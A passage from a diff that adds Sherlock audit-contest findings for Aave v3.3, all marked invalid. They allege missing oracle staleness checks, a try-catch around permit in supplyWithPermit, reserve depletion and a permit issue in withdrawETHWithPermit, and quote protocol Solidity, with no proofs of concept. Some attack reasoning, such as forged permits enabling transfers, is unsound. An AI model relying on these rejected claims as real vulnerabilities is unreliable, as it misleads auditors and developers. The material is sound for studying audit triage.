the protocol's accounting becomes inconsistent. The debt tokens are not backed by actual assets, which can lead to confusion, disputes, and potential manipulation. + +##### Loss of Funds for Users: + Users who attempt to withdraw their supplied assets from a depleted reserve might not be able to get their funds back. +Impact: This is a direct financial loss for users who have supplied assets to the protocol. It can erode trust in the platform and lead to a decline in user participation. + +#### Reserve Depletion: +A malicious actor or a series of large borrow requests could potentially deplete a reserve of its underlying assets. +Impact: This would make it impossible for other users to withdraw their supplied assets or borrow from the reserve. It could lead to a loss of confidence in the protocol and a potential bank run. + + + +### PoC + +_No response_ + +### Mitigation + +* Implement Direct Liquidity Check in validateBorrow +* track the real-time available liquidity of the underlying asset in each reserv \ No newline at end of file diff --git a/invalid/035.md b/invalid/035.md new file mode 100644 index 0000000..611757d --- /dev/null +++ b/invalid/035.md @@ -0,0 +1,148 @@ +Macho Beige Rattlesnake + +Invalid + +# LiquidationLogic.sol -executeLiquidationCall Uses Oracle Prices Without Staleness Validation Leading to Potential Unfair Liquidations + +### Summary + +The [`executeLiquidationCall function`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L264C1-L268C1) in LiquidationLogic.sol fetches and uses oracle prices for liquidation calculations without validating if these prices are stale. This could lead to liquidations being executed with outdated price data, potentially resulting in unfair liquidations of user positions. + +These potentially stale price determine: +Whether a position can be liquidated +How much collateral will be liquidated +The liquidation bonus calculations + +### Root Cause + + +oracle prices are used directly without timestamp validation in [`executeLiquidationCall function`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L264C1-L268C1) +``` + vars.collateralAssetPrice = IPriceOracleGetter(params.priceOracle).getAssetPrice( + params.collateralAsset +); +vars.debtAssetPrice = IPriceOracleGetter(params.priceOracle).getAssetPrice(params.debtAsset); +``` + +No validation of price freshness occurs at any point in this chain + +### Internal Pre-conditions + +Price oracle must be set and accessible +``` +vars.collateralAssetPrice = IPriceOracleGetter(params.priceOracle).getAssetPrice( + params.collateralAsset +); +``` + Position must be liquidatable (health factor check) +``` +ValidationLogic.validateLiquidationCall( + userConfig, + collateralReserve, + debtReserve, + DataTypes.ValidateLiquidationCallParams({ + debtReserveCache: vars.debtReserveCache, + totalDebt: vars.userReserveDebt, + healthFactor: vars.healthFactor, + priceOracleSentinel: params.priceOracleSentinel + }) +); + +``` + Prices must be used in critical calculations +``` +vars.userReserveDebtInBaseCurrency = + (vars.userReserveDebt * vars.debtAssetPrice) / + vars.debtAssetUnit; + +vars.userReserveCollateralInBaseCurrency = + (vars.userCollateralBalance * vars.collateralAssetPrice) / + vars.collateralAssetUnit; +``` + +These conditions show that the vulnerability exists when: +Oracle is operational (returning prices) +Position meets liquidation criteria +Calculations use these potentially stale prices for liquidation decisions + +### External Pre-conditions + +Oracle must be returning outdated prices +Oracle must be operational but delayed +Price feeds must be returning values (not zero or reverted) +``` +vars.collateralAssetPrice = IPriceOracleGetter(params.priceOracle).getAssetPrice( + params.collateralAsset +); +vars.debtAssetPrice = IPriceOracleGetter(params.priceOracle).getAssetPrice(params.debtAsset); +``` + + +Price divergence between actual and stale oracle prices +Enough price deviation to make liquidation profitable +``` +vars.userReserveDebtInBaseCurrency = + (vars.userReserveDebt * vars.debtAssetPrice) / + vars.debtAssetUnit; +``` + +``` +vars.userCollateralBalance = vars.collateralAToken.balanceOf(params.user); +vars.userReserveDebt = IERC20(vars.debtReserveCache.variableDebtTokenAddress).balanceOf( + params.user +); +``` + +Required conditions: +Active user positions with collateral and debt +Positions near liquidation threshold + + +### Attack Path + +_No response_ + +### Impact + +Direct Loss to Users +``` +vars.actualDebtToLiquidate = params.debtToCover > maxLiquidatableDebt + ? maxLiquidatableDebt + : params.debtToCover; + +( + vars.actualCollateralToLiquidate, + vars.actualDebtToLiquidate, + vars.liquidationProtocolFeeAmount, + vars.collateralToLiquidateInBaseCurrency +) = _calculateAvailableCollateralToLiquidate(...) +``` + +* Users could be liquidated unfairly when actual prices have recovered +* Liquidators could profit from stale prices at users' expense + + +and +##### Protocol Risk +Health factor calculations using stale prices + +``` +( + vars.totalCollateralInBaseCurrency, + vars.totalDebtInBaseCurrency, + , + , + vars.healthFactor, +) = GenericLogic.calculateUserAccountData(...) + +``` + + +### PoC + +_No response_ + +### Mitigation + + * Add price freshness validation before using prices + * Add new function to check price freshness \ No newline at end of file diff --git a/invalid/067.md b/invalid/067.md new file mode 100644 index 0000000..1bece4c --- /dev/null +++ b/invalid/067.md @@ -0,0 +1,75 @@ +Macho Beige Rattlesnake + +Invalid + +# Missing Revert on Failed Permit in supplyWithPermit function in pool.sol + +### Summary + +The [`supplyWithPermit function`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L165) allows users to supply assets with a signature-based permit. However, if the IERC20WithPermit(asset).permit call fails (e.g., due to an invalid signature, expired deadline, or unsupported permit feature), the try-catch block suppresses the error and allows the function to proceed with executeSupply. This behavior bypasses the intent of requiring a valid permit and could lead to unauthorized asset transfers if the permit validation fails. + +Additionally, if supplyCap == 0 in the validateSupply logic, an attacker could exploit the lack of supply cap enforcement, leading to overflows in the supply logic. This combination of issues poses a risk to the protocol's integrity and token holders' funds. + +### Root Cause + +Weak Permit Validation: The try-catch block around the permit function call prevents the transaction from reverting even when the permit is invalid (e.g. due to an expired signature, incorrect nonce, or signature mismatch). This allows the transaction to proceed, bypassing the expected checks for a valid permit. + +No Supply Cap Enforcement: The check for supplyCap == 0 in the validateSupply function allows the system to bypass any enforcement of a supply cap if it is set to zero. This results in a failure to properly restrict the total supply of the asset, making it possible for an attacker to bypass supply limitations and exploit the system + +### Internal Pre-conditions + +Valid Permit Parameters: + +* The attacker must craft a valid transaction with a forged or expired permit signature. This could involve manipulating the permit data (e.g., permitV, permitR, permitS) in such a way that it is accepted by the permit function without causing a revert. Since the try-catch block suppresses reverts, invalid signatures or expired permits will not cause the transaction to fail. + +* The system must have the supplyCap set to 0. This is a crucial pre-condition because, when supplyCap equals zero, the enforcement of the supply cap is bypassed, and no validation will take place to prevent the asset from being over-supplied. + + +* The attacker needs to target a specific reserve and asset with which they want to exploit the vulnerability. This would typically require knowledge of the system’s current reserve configuration and the asset details (e.g., aTokenAddress and other reserve-related parameters). + + +* The attacker must ensure that the onBehalfOf address is valid and recognized by the contract to avoid the onBehalfOf address being the same as the aTokenAddress, which would trigger an error. + + +* The attacker must have access to call the supplyWithPermit function, which implies they need to be a user or participant of the system (or have the ability to send transactions to the smart contract) without triggering a revert due to permissioning or access control restrictions. + +### External Pre-conditions + + + + +### Attack Path + +* Submitting a malicious or invalid permit signature that fails silently. +* Bypassing the permit validation due to the try-catch block. +* Executing the supply logic without the valid signature. +* Bypassing the supply cap enforcement if supplyCap == 0. +* Transferring and minting aTokens to exploit the system for excessive liquidity or collateral + +### Impact + + +##### Supply Cap Violation + * Bypassing the supply cap due to supplyCap == 0 + Inflation of the Token Supply + Market Manipulation + + +* Protocol Integrity + Disruption of Protocol Mechanics + Depletion of Reserve Funds + +* Collateral Exploitation + The attacker may use the newly supplied tokens as collateral for further borrowing or leveraging, thus exploiting the system for unearned profit without adhering to the intended supply constraints + + +### PoC + +_No response_ + +### Mitigation + +##### Fix the try-catch Block Handling + The current implementation allows for the execution of the SupplyLogic.executeSupply function even if the permit fails, bypassing important checks and potentially altering the state in an unintended way. + +A better approach is to require the permit to succeed before moving forward with the rest of the supply logic. \ No newline at end of file diff --git a/invalid/074.md b/invalid/074.md new file mode 100644 index 0000000..0ab09af --- /dev/null +++ b/invalid/074.md @@ -0,0 +1,6 @@ +Smooth Amber Shetland + +Invalid + +# n/a2 + diff --git a/invalid/075.md b/invalid/075.md new file mode 100644 index 0000000..be548b9 --- /dev/null +++ b/invalid/075.md @@ -0,0 +1,6 @@ +Smooth Amber Shetland + +Invalid + +# n/a + diff --git a/invalid/198.md b/invalid/198.md new file mode 100644 index 0000000..c830ce0 --- /dev/null +++ b/invalid/198.md @@ -0,0 +1,59 @@ +Glamorous Admiral Sloth + +Invalid + +# wrong implement of withdrawETHWithPermit. + +### Summary + +here in the the withdrawETHWithPermit we are not implementing in try and catch as it should be. + +### Root Cause + + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L140 + function withdrawETHWithPermit( + address, + uint256 amount, + address to, + uint256 deadline, + uint8 permitV, + bytes32 permitR, + bytes32 permitS + ) external override { + IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); + uint256 userBalance = aWETH.balanceOf(msg.sender); + uint256 amountToWithdraw = amount; + + // if amount is equal to type(uint256).max, the user wants to redeem everything + if (amount == type(uint256).max) { + amountToWithdraw = userBalance; + } + // permit `amount` rather than `amountToWithdraw` to make it easier for front-ends and integrators + @>>aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS); + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + + try + aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS); + {} catch {} \ No newline at end of file